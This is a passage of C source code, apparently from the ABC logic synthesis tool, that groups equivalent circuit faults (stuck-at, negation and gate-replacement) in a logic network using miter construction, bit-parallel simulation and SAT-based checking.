); Vec_WecPrint( vCos, 0 ); // clean up Vec_IntFree( vObjs ); Vec_WecFree( vRes ); Vec_WecFree( vCos ); } /**Function************************************************************* Synopsis [Collecting objects.] Description [Collects combinational inputs (vCIs) and internal nodes (vNodes) reachable from the given set of combinational outputs (vCOs).] SideEffects [] SeeAlso [] ***********************************************************************/ void Abc_NtkFinMiterCollect_rec( Abc_Obj_t * pObj, Vec_Int_t * vCis, Vec_Int_t * vNodes ) { if ( Abc_NodeIsTravIdCurrent(pObj) ) return; Abc_NodeSetTravIdCurrent(pObj); if ( Abc_ObjIsCi(pObj) ) Vec_IntPush( vCis, Abc_ObjId(pObj) ); else { Abc_Obj_t * pFanin; int i; assert( Abc_ObjIsNode( pObj ) ); Abc_ObjForEachFanin( pObj, pFanin, i ) Abc_NtkFinMiterCollect_rec( pFanin, vCis, vNodes ); Vec_IntPush( vNodes, Abc_ObjId(pObj) ); } } void Abc_NtkFinMiterCollect( Abc_Ntk_t * pNtk, Vec_Int_t * vCos, Vec_Int_t * vCis, Vec_Int_t * vNodes ) { Abc_Obj_t * pObj; int i; Vec_IntClear( vCis ); Vec_IntClear( vNodes ); Abc_NtkIncrementTravId( pNtk ); Abc_NtkForEachObjVec( vCos, pNtk, pObj, i ) Abc_NtkFinMiterCollect_rec( Abc_ObjFanin0(pObj), vCis, vNodes ); } /**Function************************************************************* Synopsis [Simulates expression using given simulation info.] Description [] SideEffects [] SeeAlso [] ***********************************************************************/ void Mio_LibGateSimulate( Mio_Gate_t * pGate, word * ppFaninSims[6], int nWords, word * pObjSim ) { int i, w, nVars = Mio_GateReadPinNum(pGate); Vec_Int_t * vExpr = Mio_GateReadExpr( pGate ); assert( nVars <= 6 ); for ( w = 0; w < nWords; w++ ) { word uFanins[6]; for ( i = 0; i < nVars; i++ ) uFanins[i] = ppFaninSims[i][w]; pObjSim[w] = Exp_Truth6( nVars, vExpr, uFanins ); } } /**Function************************************************************* Synopsis [Simulates expression for one simulation pattern.] Description [] SideEffects [] SeeAlso [] ***********************************************************************/ int Mio_LibGateSimulateOne( Mio_Gate_t * pGate, int iBits[6] ) { int nVars = Mio_GateReadPinNum(pGate); int i, iMint = 0; for ( i = 0; i < nVars; i++ ) if ( iBits[i] ) iMint |= (1 << i); return Abc_InfoHasBit( (unsigned *)Mio_GateReadTruthP(pGate), iMint ); } /**Function************************************************************* Synopsis [Simulated expression with one bit.] Description [] SideEffects [] SeeAlso [] ***********************************************************************/ int Mio_LibGateSimulateGia( Gia_Man_t * pGia, Mio_Gate_t * pGate, int iLits[6], Vec_Int_t * vLits ) { int i, nVars = Mio_GateReadPinNum(pGate); Vec_Int_t * vExpr = Mio_GateReadExpr( pGate ); if ( Exp_IsConst0(vExpr) ) return 0; if ( Exp_IsConst1(vExpr) ) return 1; if ( Exp_IsLit(vExpr) ) { int Index0 = Vec_IntEntry(vExpr,0) >> 1; int fCompl0 = Vec_IntEntry(vExpr,0) & 1; assert( Index0 < nVars ); return Abc_LitNotCond( iLits[Index0], fCompl0 ); } Vec_IntClear( vLits ); for ( i = 0; i < nVars; i++ ) Vec_IntPush( vLits, iLits[i] ); for ( i = 0; i < Exp_NodeNum(vExpr); i++ ) { int Index0 = Vec_IntEntry( vExpr, 2*i+0 ) >> 1; int Index1 = Vec_IntEntry( vExpr, 2*i+1 ) >> 1; int fCompl0 = Vec_IntEntry( vExpr, 2*i+0 ) & 1; int fCompl1 = Vec_IntEntry( vExpr, 2*i+1 ) & 1; Vec_IntPush( vLits, Gia_ManHashAnd( pGia, Abc_LitNotCond(Vec_IntEntry(vLits, Index0), fCompl0), Abc_LitNotCond(Vec_IntEntry(vLits, Index1), fCompl1) ) ); } return Abc_LitNotCond( Vec_IntEntryLast(vLits), Vec_IntEntryLast(vExpr) & 1 ); } /**Function************************************************************* Synopsis [AIG construction and simulation.] Description [] SideEffects [] SeeAlso [] ***********************************************************************/ static inline int Abc_NtkFinSimOneLit( Gia_Man_t * pNew, Abc_Obj_t * pObj, int Type, Vec_Int_t * vMap, int n, Vec_Int_t * vTemp ) { if ( Abc_NtkIsMappedLogic(pObj->pNtk) && Type >= 0 ) { extern int Mio_LibGateSimulateGia( Gia_Man_t * pGia, Mio_Gate_t * pGate, int iLits[6], Vec_Int_t * vLits ); Mio_Library_t * pLib = (Mio_Library_t *)pObj->pNtk->pManFunc; int i, Lits[6]; for ( i = 0; i < Abc_ObjFaninNum(pObj); i++ ) Lits[i] = Vec_IntEntry( vMap, Abc_Var2Lit(Abc_ObjFaninId(pObj, i), n) ); return Mio_LibGateSimulateGia( pNew, Mio_LibraryReadGateById(pLib, Type), Lits, vTemp ); } else { int iLit0 = Abc_ObjFaninNum(pObj) > 0 ? Vec_IntEntry( vMap, Abc_Var2Lit(Abc_ObjFaninId0(pObj), n) ) : -1; int iLit1 = Abc_ObjFaninNum(pObj) > 1 ? Vec_IntEntry( vMap, Abc_Var2Lit(Abc_ObjFaninId1(pObj), n) ) : -1; assert( Type != ABC_FIN_NEG ); if ( Type == ABC_FIN_SA0 ) return 0; if ( Type == ABC_FIN_SA1 ) return 1; if ( Type == ABC_FIN_RDOB_BUFF ) return iLit0; if ( Type == ABC_FIN_RDOB_NOT ) return Abc_LitNot( iLit0 ); if ( Type == ABC_FIN_RDOB_AND ) return Gia_ManHashAnd( pNew, iLit0, iLit1 ); if ( Type == ABC_FIN_RDOB_OR ) return Gia_ManHashOr( pNew, iLit0, iLit1 ); if ( Type == ABC_FIN_RDOB_XOR ) return Gia_ManHashXor( pNew, iLit0, iLit1 ); if ( Type == ABC_FIN_RDOB_NAND ) return Abc_LitNot(Gia_ManHashAnd( pNew, iLit0, iLit1 )); if ( Type == ABC_FIN_RDOB_NOR ) return Abc_LitNot(Gia_ManHashOr( pNew, iLit0, iLit1 )); if ( Type == ABC_FIN_RDOB_NXOR ) return Abc_LitNot(Gia_ManHashXor( pNew, iLit0, iLit1 )); assert( 0 ); return -1; } } static inline int Abc_NtkFinSimOneBit( Abc_Obj_t * pObj, int Type, Vec_Wrd_t * vSims, int nWords, int iBit ) { if ( Abc_NtkIsMappedLogic(pObj->pNtk) && Type >= 0 ) { extern int Mio_LibGateSimulateOne( Mio_Gate_t * pGate, int iBits[6] ); Mio_Library_t * pLib = (Mio_Library_t *)pObj->pNtk->pManFunc; int i, iBits[6]; for ( i = 0; i < Abc_ObjFaninNum(pObj); i++ ) { word * pSim0 = Vec_WrdEntryP( vSims, nWords * Abc_ObjFaninId(pObj, i) ); iBits[i] = Abc_InfoHasBit( (unsigned*)pSim0, iBit ); } return Mio_LibGateSimulateOne( Mio_LibraryReadGateById(pLib, Type), iBits ); } else { word * pSim0 = Abc_ObjFaninNum(pObj) > 0 ? Vec_WrdEntryP( vSims, nWords * Abc_ObjFaninId0(pObj) ) : NULL; word * pSim1 = Abc_ObjFaninNum(pObj) > 1 ? Vec_WrdEntryP( vSims, nWords * Abc_ObjFaninId1(pObj) ) : NULL; int iBit0 = Abc_ObjFaninNum(pObj) > 0 ? Abc_InfoHasBit( (unsigned*)pSim0, iBit ) : -1; int iBit1 = Abc_ObjFaninNum(pObj) > 1 ? Abc_InfoHasBit( (unsigned*)pSim1, iBit ) : -1; assert( Type != ABC_FIN_NEG ); if ( Type == ABC_FIN_SA0 ) return 0; if ( Type == ABC_FIN_SA1 ) return 1; if ( Type == ABC_FIN_RDOB_BUFF ) return iBit0; if ( Type == ABC_FIN_RDOB_NOT ) return !iBit0; if ( Type == ABC_FIN_RDOB_AND ) return iBit0 & iBit1; if ( Type == ABC_FIN_RDOB_OR ) return iBit0 | iBit1; if ( Type == ABC_FIN_RDOB_XOR ) return iBit0 ^ iBit1; if ( Type == ABC_FIN_RDOB_NAND ) return !(iBit0 & iBit1); if ( Type == ABC_FIN_RDOB_NOR ) return !(iBit0 | iBit1); if ( Type == ABC_FIN_RDOB_NXOR ) return !(iBit0 ^ iBit1); assert( 0 ); return -1; } } static inline void Abc_NtkFinSimOneWord( Abc_Obj_t * pObj, int Type, Vec_Wrd_t * vSims, int nWords ) { if ( Abc_NtkIsMappedLogic(pObj->pNtk) ) { extern void Mio_LibGateSimulate( Mio_Gate_t * pGate, word * ppFaninSims[6], int nWords, word * pObjSim ); word * ppSims[6]; int i; word * pSim = Vec_WrdEntryP( vSims, nWords * Abc_ObjId(pObj) ); assert( Type == -1 ); for ( i = 0; i < Abc_ObjFaninNum(pObj); i++ ) ppSims[i] = Vec_WrdEntryP( vSims, nWords * Abc_ObjFaninId(pObj, i) ); Mio_LibGateSimulate( (Mio_Gate_t *)pObj->pData, ppSims, nWords, pSim ); } else { word * pSim = Vec_WrdEntryP( vSims, nWords * Abc_ObjId(pObj) ); int w; word * pSim0 = Abc_ObjFaninNum(pObj) > 0 ? Vec_WrdEntryP( vSims, nWords * Abc_ObjFaninId0(pObj) ) : NULL; word * pSim1 = Abc_ObjFaninNum(pObj) > 1 ? Vec_WrdEntryP( vSims, nWords * Abc_ObjFaninId1(pObj) ) : NULL; assert( Type != ABC_FIN_NEG ); if ( Type == ABC_FIN_SA0 ) for ( w = 0; w < nWords; w++ ) pSim[w] = 0; else if ( Type == ABC_FIN_SA1 ) for ( w = 0; w < nWords; w++ ) pSim[w] = ~((word)0); else if ( Type == ABC_FIN_RDOB_BUFF ) for ( w = 0; w < nWords; w++ ) pSim[w] = pSim0[w]; else if ( Type == ABC_FIN_RDOB_NOT ) for ( w = 0; w < nWords; w++ ) pSim[w] = ~pSim0[w]; else if ( Type == ABC_FIN_RDOB_AND ) for ( w = 0; w < nWords; w++ ) pSim[w] = pSim0[w] & pSim1[w]; else if ( Type == ABC_FIN_RDOB_OR ) for ( w = 0; w < nWords; w++ ) pSim[w] = pSim0[w] | pSim1[w]; else if ( Type == ABC_FIN_RDOB_XOR ) for ( w = 0; w < nWords; w++ ) pSim[w] = pSim0[w] ^ pSim1[w]; else if ( Type == ABC_FIN_RDOB_NAND ) for ( w = 0; w < nWords; w++ ) pSim[w] = ~(pSim0[w] & pSim1[w]); else if ( Type == ABC_FIN_RDOB_NOR ) for ( w = 0; w < nWords; w++ ) pSim[w] = ~(pSim0[w] | pSim1[w]); else if ( Type == ABC_FIN_RDOB_NXOR ) for ( w = 0; w < nWords; w++ ) pSim[w] = ~(pSim0[w] ^ pSim1[w]); else assert( 0 ); } } // returns 1 if the functionality with indexes i1 and i2 is the same static inline int Abc_NtkFinCompareSimTwo( Abc_Ntk_t * pNtk, Vec_Int_t * vCos, Vec_Wrd_t * vSims, int nWords, int i1, int i2 ) { Abc_Obj_t * pObj; int i; assert( i1 != i2 ); Abc_NtkForEachObjVec( vCos, pNtk, pObj, i ) { word * pSim0 = Vec_WrdEntryP( vSims, nWords * Abc_ObjFaninId0(pObj) ); if ( Abc_InfoHasBit((unsigned*)pSim0, i1) != Abc_InfoHasBit((unsigned*)pSim0, i2) ) return 0; } return 1; } Gia_Man_t * Abc_NtkFinMiterToGia( Abc_Ntk_t * pNtk, Vec_Int_t * vTypes, Vec_Int_t * vCos, Vec_Int_t * vCis, Vec_Int_t * vNodes, int iObjs[2], int Types[2], Vec_Int_t * vLits ) { Gia_Man_t * pNew = NULL, * pTemp; Abc_Obj_t * pObj; Vec_Int_t * vTemp = Vec_IntAlloc( 100 ); int n, i, Type, iMiter, iLit, * pLits; // create AIG manager pNew = Gia_ManStart( 1000 ); pNew->pName = Abc_UtilStrsav( pNtk->pName ); pNew->pSpec = Abc_UtilStrsav( pNtk->pSpec ); Gia_ManHashStart( pNew ); // create inputs Abc_NtkForEachObjVec( vCis, pNtk, pObj, i ) { iLit = Gia_ManAppendCi(pNew); for ( n = 0; n < 2; n++ ) { if ( iObjs[n] != (int)Abc_ObjId(pObj) ) Vec_IntWriteEntry( vLits, Abc_Var2Lit(Abc_ObjId(pObj), n), iLit ); else if ( Types[n] != ABC_FIN_NEG ) Vec_IntWriteEntry( vLits, Abc_Var2Lit(Abc_ObjId(pObj), n), Abc_NtkFinSimOneLit(pNew, pObj, Types[n], vLits, n, vTemp) ); else // if ( iObjs[n] == (int)Abc_ObjId(pObj) && Types[n] == ABC_FIN_NEG ) Vec_IntWriteEntry( vLits, Abc_Var2Lit(Abc_ObjId(pObj), n), Abc_LitNot(iLit) ); } } // create internal nodes Abc_NtkForEachObjVec( vNodes, pNtk, pObj, i ) { Type = Abc_NtkIsMappedLogic(pNtk) ? Mio_GateReadCell((Mio_Gate_t *)pObj->pData) : Vec_IntEntry(vTypes, Abc_ObjId(pObj)); for ( n = 0; n < 2; n++ ) { if ( iObjs[n] != (int)Abc_ObjId(pObj) ) Vec_IntWriteEntry( vLits, Abc_Var2Lit(Abc_ObjId(pObj), n), Abc_NtkFinSimOneLit(pNew, pObj, Type, vLits, n, vTemp) ); else if ( Types[n] != ABC_FIN_NEG ) Vec_IntWriteEntry( vLits, Abc_Var2Lit(Abc_ObjId(pObj), n), Abc_NtkFinSimOneLit(pNew, pObj, Types[n], vLits, n, vTemp) ); else // if ( iObjs[n] == (int)Abc_ObjId(pObj) && Types[n] == ABC_FIN_NEG ) Vec_IntWriteEntry( vLits, Abc_Var2Lit(Abc_ObjId(pObj), n), Abc_LitNot(Abc_NtkFinSimOneLit(pNew, pObj, Type, vLits, n, vTemp)) ); } } // create comparator iMiter = 0; Abc_NtkForEachObjVec( vCos, pNtk, pObj, i ) { pLits = Vec_IntEntryP( vLits, Abc_Var2Lit(Abc_ObjFaninId0(pObj), 0) ); iLit = Gia_ManHashXor( pNew, pLits[0], pLits[1] ); iMiter = Gia_ManHashOr( pNew, iMiter, iLit ); } Gia_ManAppendCo( pNew, iMiter ); // perform cleanup pNew = Gia_ManCleanup( pTemp = pNew ); Gia_ManStop( pTemp ); Vec_IntFree( vTemp ); return pNew; } void Abc_NtkFinSimulateOne( Abc_Ntk_t * pNtk, Vec_Int_t * vTypes, Vec_Int_t * vCos, Vec_Int_t * vCis, Vec_Int_t * vNodes, Vec_Wec_t * vMap2, Vec_Int_t * vPat, Vec_Wrd_t * vSims, int nWords, Vec_Int_t * vPairs, Vec_Wec_t * vRes, int iLevel, int iItem ) { Abc_Obj_t * pObj; Vec_Int_t * vClass, * vArray; int i, Counter = 0; int nItems = Vec_WecSizeSize(vRes); assert( nItems == Vec_WecSizeSize(vMap2) ); assert( nItems <= 128 * nWords ); // assign inputs assert( Vec_IntSize(vPat) == Vec_IntSize(vCis) ); Abc_NtkForEachObjVec( vCis, pNtk, pObj, i ) { int w, iObj = Abc_ObjId( pObj ); word Init = Vec_IntEntry(vPat, i) ? ~((word)0) : 0; word * pSim = Vec_WrdEntryP( vSims, nWords * Abc_ObjId(pObj) ); for ( w = 0; w < nWords; w++ ) pSim[w] = Init; vArray = Vec_WecEntry(vMap2, iObj); if ( Vec_IntSize(vArray) > 0 ) { int k, iFin, Index, iObj, Type; Vec_IntForEachEntryDouble( vArray, iFin, Index, k ) { assert( Index < 64 ); iObj = Vec_IntEntry( vPairs, 2*iFin ); assert( iObj == (int)Abc_ObjId(pObj) ); Type = Vec_IntEntry( vPairs, 2*iFin+1 ); assert( Type == ABC_FIN_NEG || Type == ABC_FIN_SA0 || Type == ABC_FIN_SA1 ); if ( Type == ABC_FIN_NEG || Abc_InfoHasBit((unsigned *)pSim, Index) != Abc_NtkFinSimOneBit(pObj, Type, vSims, nWords, Index) ) Abc_InfoXorBit( (unsigned *)pSim, Index ); Counter++; } } } // simulate internal nodes Abc_NtkForEachObjVec( vNodes, pNtk, pObj, i ) { int iObj = Abc_ObjId( pObj ); int Type = Abc_NtkIsMappedLogic(pNtk) ? -1 : Vec_IntEntry( vTypes, iObj ); word * pSim = Vec_WrdEntryP( vSims, nWords * Abc_ObjId(pObj) ); Abc_NtkFinSimOneWord( pObj, Type, vSims, nWords ); vArray = Vec_WecEntry(vMap2, iObj); if ( Vec_IntSize(vArray) > 0 ) { int k, iFin, Index, iObj, Type; Vec_IntForEachEntryDouble( vArray, iFin, Index, k ) { assert( Index < 64 * nWords ); iObj = Vec_IntEntry( vPairs, 2*iFin ); assert( iObj == (int)Abc_ObjId(pObj) ); Type = Vec_IntEntry( vPairs, 2*iFin+1 ); if ( Type == ABC_FIN_NEG || Abc_InfoHasBit((unsigned *)pSim, Index) != Abc_NtkFinSimOneBit(pObj, Type, vSims, nWords, Index) ) Abc_InfoXorBit( (unsigned *)pSim, Index ); Counter++; } } } assert( nItems == 2*Counter ); // confirm no refinement Vec_WecForEachLevelStop( vRes, vClass, i, iLevel+1 ) { int k, iFin, Index, Value; int Index0 = Vec_IntEntry( vClass, 1 ); Vec_IntForEachEntryDoubleStart( vClass, iFin, Index, k, 2 ) { if ( i == iLevel && k/2 >= iItem ) break; //printf( "Double-checking pair %d and %d\n", iFin0, iFin ); Value = Abc_NtkFinCompareSimTwo( pNtk, vCos, vSims, nWords, Index0, Index ); assert( Value ); // the same value } } // check refinement Vec_WecForEachLevelStart( vRes, vClass, i, iLevel ) { int k, iFin, Index, Value, Index0 = Vec_IntEntry(vClass, 1); int j = (i == iLevel) ? 2*iItem : 2; Vec_Int_t * vNewClass = NULL; Vec_IntForEachEntryDoubleStart( vClass, iFin, Index, k, j ) { Value = Abc_NtkFinCompareSimTwo( pNtk, vCos, vSims, nWords, Index0, Index ); if ( Value ) // the same value { Vec_IntWriteEntry( vClass, j++, iFin ); Vec_IntWriteEntry( vClass, j++, Index ); continue; } // create new class vNewClass = vNewClass ? vNewClass : Vec_WecPushLevel( vRes ); Vec_IntPushTwo( vNewClass, iFin, Index ); // index and first entry vClass = Vec_WecEntry( vRes, i ); } Vec_IntShrink( vClass, j ); } } /**Function************************************************************* Synopsis [Check equivalence using SAT solver.] Description [] SideEffects [] SeeAlso [] ***********************************************************************/ Vec_Int_t * Abc_NtkFinCheckPair( Abc_Ntk_t * pNtk, Vec_Int_t * vTypes, Vec_Int_t * vCos, Vec_Int_t * vCis, Vec_Int_t * vNodes, int iObjs[2], int Types[2], Vec_Int_t * vLits ) { Gia_Man_t * pGia = Abc_NtkFinMiterToGia( pNtk, vTypes, vCos, vCis, vNodes, iObjs, Types, vLits ); if ( Gia_ManAndNum(pGia) == 0 && Gia_ObjIsConst0(Gia_ObjFanin0(Gia_ManCo(pGia, 0))) ) { Vec_Int_t * vPat = Gia_ObjFaninC0(Gia_ManCo(pGia, 0)) ? Vec_IntStart(Vec_IntSize(vCis)) : NULL; Gia_ManStop( pGia ); return vPat; } else { Cnf_Dat_t * pCnf = (Cnf_Dat_t *)Mf_ManGenerateCnf( pGia, 8, 0, 1, 0, 0 ); sat_solver * pSat = (sat_solver *)Cnf_DataWriteIntoSolver( pCnf, 1, 0 ); if ( pSat == NULL ) { Gia_ManStop( pGia ); Cnf_DataFree( pCnf ); return NULL; } else { int i, nConfLimit = 10000; Vec_Int_t * vPat = NULL; int status, iVarBeg = pCnf->nVars - Gia_ManPiNum(pGia);// - 1; //Gia_AigerWrite( pGia, "temp_detect.aig", 0, 0, 0 ); Gia_ManStop( pGia ); Cnf_DataFree( pCnf ); status = sat_solver_solve( pSat, NULL, NULL, (ABC_INT64_T)nConfLimit, 0, 0, 0 ); if ( status == l_Undef ) vPat = Vec_IntAlloc(0); else if ( status == l_True ) { vPat = Vec_IntAlloc( Vec_IntSize(vCis) ); for ( i = 0; i < Vec_IntSize(vCis); i++ ) Vec_IntPush( vPat, sat_solver_var_value(pSat, iVarBeg+i) ); } //printf( "%d ", sat_solver_nconflicts(pSat) ); sat_solver_delete( pSat ); return vPat; } } } /**Function************************************************************* Synopsis [Refinement of equivalence classes.] Description [] SideEffects [] SeeAlso [] ***********************************************************************/ void Abc_NtkFinLocalSetup( Vec_Int_t * vPairs, Vec_Int_t * vList, Vec_Wec_t * vMap2, Vec_Int_t * vResArray ) { int i, iFin; Vec_IntClear( vResArray ); Vec_IntForEachEntry( vList, iFin, i ) { int iObj = Vec_IntEntry( vPairs, 2*iFin ); Vec_Int_t * vArray = Vec_WecEntry( vMap2, iObj ); Vec_IntPushTwo( vArray, iFin, i ); Vec_IntPushTwo( vResArray, iFin, i ); } } void Abc_NtkFinLocalSetdown( Vec_Int_t * vPairs, Vec_Int_t * vList, Vec_Wec_t * vMap2 ) { int i, iFin; Vec_IntForEachEntry( vList, iFin, i ) { int iObj = Vec_IntEntry( vPairs, 2*iFin ); Vec_Int_t * vArray = Vec_WecEntry( vMap2, iObj ); Vec_IntClear( vArray ); } } int Abc_NtkFinRefinement( Abc_Ntk_t * pNtk, Vec_Int_t * vTypes, Vec_Int_t * vCos, Vec_Int_t * vCis, Vec_Int_t * vNodes, Vec_Int_t * vPairs, Vec_Int_t * vList, Vec_Wec_t * vMap2, Vec_Wec_t * vResult ) { Vec_Wec_t * vRes = Vec_WecAlloc( 100 ); int nWords = Abc_Bit6WordNum( Vec_IntSize(vList) ); Vec_Wrd_t * vSims = Vec_WrdStart( nWords * Abc_NtkObjNumMax(pNtk) ); // simulation info for each object Vec_Int_t * vLits = Vec_IntStart( 2*Abc_NtkObjNumMax(pNtk) ); // two literals for each object Vec_Int_t * vPat, * vClass, * vArray; int i, k, iFin, Index, nCalls = 0; // prepare vArray = Vec_WecPushLevel( vRes ); Abc_NtkFinLocalSetup( vPairs, vList, vMap2, vArray ); // try all-0/all-1 pattern for ( i = 0; i < 2; i++ ) { vPat = Vec_IntAlloc( Vec_IntSize(vCis) ); Vec_IntFill( vPat, Vec_IntSize(vCis), i ); Abc_NtkFinSimulateOne( pNtk, vTypes, vCos, vCis, vNodes, vMap2, vPat, vSims, nWords, vPairs, vRes, 0, 1 ); Vec_IntFree( vPat ); } // explore the classes //Vec_WecPrint( vRes, 0 ); Vec_WecForEachLevel( vRes, vClass, i ) { int iFin0 = Vec_IntEntry( vClass, 0 ); Vec_IntForEachEntryDoubleStart( vClass, iFin, Index, k, 2 ) { int Objs[2] = { Vec_IntEntry(vPairs, 2*iFin0), Vec_IntEntry(vPairs, 2*iFin) }; int Types[2] = { Vec_IntEntry(vPairs, 2*iFin0+1), Vec_IntEntry(vPairs, 2*iFin+1) }; nCalls++; //printf( "Checking pair %d and %d.\n", iFin0, iFin ); vPat = Abc_NtkFinCheckPair( pNtk, vTypes, vCos, vCis, vNodes, Objs, Types, vLits ); if ( vPat == NULL ) // proved continue; assert( Vec_IntEntry(vClass, k) == iFin ); if ( Vec_IntSize(vPat) == 0 ) { Vec_Int_t * vNewClass = Vec_WecPushLevel( vRes ); Vec_IntPushTwo( vNewClass, iFin, Index ); // index and first entry vClass = Vec_WecEntry( vRes, i ); Vec_IntDrop( vClass, k+1 ); Vec_IntDrop( vClass, k ); } else // resimulate and refine Abc_NtkFinSimulateOne( pNtk, vTypes, vCos, vCis, vNodes, vMap2, vPat, vSims, nWords, vPairs, vRes, i, k/2 ); Vec_IntFree( vPat ); // make sure refinement happened (k'th entry is now absent or different) vClass = Vec_WecEntry( vRes, i ); assert( Vec_IntSize(vClass) <= k || Vec_IntEntry(vClass, k) != iFin ); k -= 2; //Vec_WecPrint( vRes, 0 ); } } // unprepare Abc_NtkFinLocalSetdown( vPairs, vList, vMap2 ); // reload proved equivs into the final array Vec_WecForEachLevel( vRes, vArray, i ) { assert( Vec_IntSize(vArray) % 2 == 0 ); if ( Vec_IntSize(vArray) <= 2 ) continue; vClass = Vec_WecPushLevel( vResult ); Vec_IntForEachEntryDouble( vArray, iFin, Index, k ) Vec_IntPush( vClass, iFin ); } Vec_WecFree( vRes ); Vec_WrdFree( vSims ); Vec_IntFree( vLits ); return nCalls; } /**Function************************************************************* Synopsis [Detecting classes.] Description [] SideEffects [] SeeAlso [] ***********************************************************************/ static inline int Abc_ObjFinGateType( Abc_Obj_t * pNode ) { char * pSop = (char *)pNode->pData; if ( !strcmp(pSop, "1 1\n") ) return ABC_FIN_RDOB_BUFF; if ( !strcmp(pSop, "0 1\n") ) return ABC_FIN_RDOB_NOT; if ( !strcmp(pSop, "11 1\n") ) return ABC_FIN_RDOB_AND; if ( !strcmp(pSop, "11 0\n") ) return ABC_FIN_RDOB_NAND; if ( !strcmp(pSop, "00 0\n") ) return ABC_FIN_RDOB_OR; if ( !strcmp(pSop, "00 1\n") ) return ABC_FIN_RDOB_NOR; if ( !strcmp(pSop, "01 1\n10 1\n") ) return ABC_FIN_RDOB_XOR; if ( !strcmp(pSop, "11 1\n00 1\n") ) return ABC_FIN_RDOB_NXOR; return ABC_FIN_NONE; } int Abc_NtkFinCheckTypesOk( Abc_Ntk_t * pNtk ) { Abc_Obj_t * pObj; int i; Abc_NtkForEachNode( pNtk, pObj, i ) if ( Abc_ObjFinGateType(pObj) == ABC_FIN_NONE ) return i; return 0; } int Abc_NtkFinCheckTypesOk2( Abc_Ntk_t * pNtk ) { Mio_Library_t * pLib = (Mio_Library_t *)pNtk->pManFunc; int i, iObj, Type; Vec_IntForEachEntryDoubleStart( pNtk->vFins, iObj, Type, i, 2 ) { Abc_Obj_t * pObj = Abc_NtkObj( pNtk, iObj ); Mio_Gate_t * pGateFlt, * pGateObj = (Mio_Gate_t *)pObj->pData; if ( Type < 0 ) // SA0, SA1, NEG continue; pGateFlt = Mio_LibraryReadGateById( pLib, Type ); if ( Mio_GateReadPinNum(pGateFlt) < 1 ) continue; if ( Mio_GateReadPinNum(pGateObj) != Mio_GateReadPinNum(pGateFlt) ) return iObj; } return 0; } Vec_Int_t * Abc_NtkFinComputeTypes( Abc_Ntk_t * pNtk ) { Abc_Obj_t * pObj; int i; Vec_Int_t * vObjs = Vec_IntStart( Abc_NtkObjNumMax(pNtk) ); Abc_NtkForEachNode( pNtk, pObj, i ) Vec_IntWriteEntry( vObjs, Abc_ObjId(pObj), Abc_ObjFinGateType(pObj) ); return vObjs; } Vec_Int_t * Abc_NtkFinComputeObjects( Vec_Int_t * vPairs, Vec_Wec_t ** pvMap, int nObjs ) { int i, iObj, Type; Vec_Int_t * vObjs = Vec_IntAlloc( 100 ); *pvMap = Vec_WecStart( nObjs ); Vec_IntForEachEntryDoubleStart( vPairs, iObj, Type, i, 2 ) { Vec_IntPush( vObjs, iObj ); Vec_WecPush( *pvMap, iObj, i/2 ); } Vec_IntUniqify( vObjs ); return vObjs; } Vec_Int_t * Abc_NtkFinCreateList( Vec_Wec_t * vMap, Vec_Int_t * vClass ) { int i, iObj; Vec_Int_t * vList = Vec_IntAlloc( 100 ); Vec_IntForEachEntry( vClass, iObj, i ) Vec_IntAppend( vList, Vec_WecEntry(vMap, iObj) ); return vList; } int Abc_NtkFinCountPairs( Vec_Wec_t * vClasses ) { int i, Counter = 0; Vec_Int_t * vLevel; Vec_WecForEachLevel( vClasses, vLevel, i ) Counter += Vec_IntSize(vLevel) - 1; return Counter; } Vec_Wec_t * Abc_NtkDetectFinClasses( Abc_Ntk_t * pNtk, int fVerbose ) { Vec_Int_t * vTypes = NULL; // gate types Vec_Int_t * vPairs; // original info as a set of pairs (ObjId, TypeId) Vec_Int_t * vObjs; // all those objects that have some fin Vec_Wec_t * vMap; // for each object, the set of fins Vec_Wec_t * vMap2; // for each local object, the set of pairs (Info, Index) Vec_Wec_t * vClasses; // classes of objects Vec_Wec_t * vCoSets; // corresponding CO sets Vec_Int_t * vClass; // one class Vec_Int_t * vCoSet; // one set of COs Vec_Int_t * vCiSet; // one set of CIs Vec_Int_t * vNodeSet; // one set of nodes Vec_Int_t * vList; // one info list Vec_Wec_t * vResult; // resulting equivalences int i, iObj, nCalls; if ( pNtk->vFins == NULL ) { printf( "Current network does not have the required info.\n" ); return NULL; } assert( Abc_NtkIsSopLogic(pNtk) || Abc_NtkIsMappedLogic(pNtk) ); if ( Abc_NtkIsSopLogic(pNtk) ) { iObj = Abc_NtkFinCheckTypesOk(pNtk); if ( iObj ) { printf( "Current network contains unsupported gate types (for example, see node \"%s\").\n", Abc_ObjName(Abc_NtkObj(pNtk, iObj)) ); return NULL; } vTypes = Abc_NtkFinComputeTypes( pNtk ); } else if ( Abc_NtkIsMappedLogic(pNtk) ) { iObj = Abc_NtkFinCheckTypesOk2(pNtk); if ( iObj ) { printf( "Current network has mismatch between mapped gate size and fault gate size (for example, see node \"%s\").\n", Abc_ObjName(Abc_NtkObj(pNtk, iObj)) ); return NULL; } } else assert( 0 ); //Abc_NtkFrameExtend( pNtk ); // collect data vPairs = pNtk->vFins; vObjs = Abc_NtkFinComputeObjects( vPairs, &vMap, Abc_NtkObjNumMax(pNtk) ); vClasses = Abc_NtkDetectObjClasses( pNtk, vObjs, &vCoSets ); // refine classes vCiSet = Vec_IntAlloc( 1000 ); vNodeSet = Vec_IntAlloc( 1000 ); vMap2 = Vec_WecStart( Abc_NtkObjNumMax(pNtk) ); vResult = Vec_WecAlloc( 1000 ); Vec_WecForEachLevel( vClasses, vClass, i ) { // extract one window vCoSet = Vec_WecEntry( vCoSets, i ); Abc_NtkFinMiterCollect( pNtk, vCoSet, vCiSet, vNodeSet ); // refine one class vList = Abc_NtkFinCreateList( vMap, vClass ); nCalls = Abc_NtkFinRefinement( pNtk, vTypes, vCoSet, vCiSet, vNodeSet, vPairs, vList, vMap2, vResult ); if ( fVerbose ) printf( "Group %4d : Obj =%4d. Fins =%4d. CI =%5d. CO =%5d. Node =%6d. SAT calls =%5d.\n", i, Vec_IntSize(vClass), Vec_IntSize(vList), Vec_IntSize(vCiSet), Vec_IntSize(vCoSet), Vec_IntSize(vNodeSet), nCalls ); Vec_IntFree( vList ); } // sort entries in each array Vec_WecForEachLevel( vResult, vClass, i ) Vec_IntSort( vClass, 0 ); // sort by the index of the first entry Vec_WecSortByFirstInt( vResult, 0 ); // cleanup Vec_IntFreeP( & vTypes ); Vec_IntFree( vObjs ); Vec_WecFree( vClasses ); Vec_WecFree( vMap ); Vec_WecFree( vMap2 ); Vec_WecFree( vCoSets ); Vec_IntFree( vCiSet ); 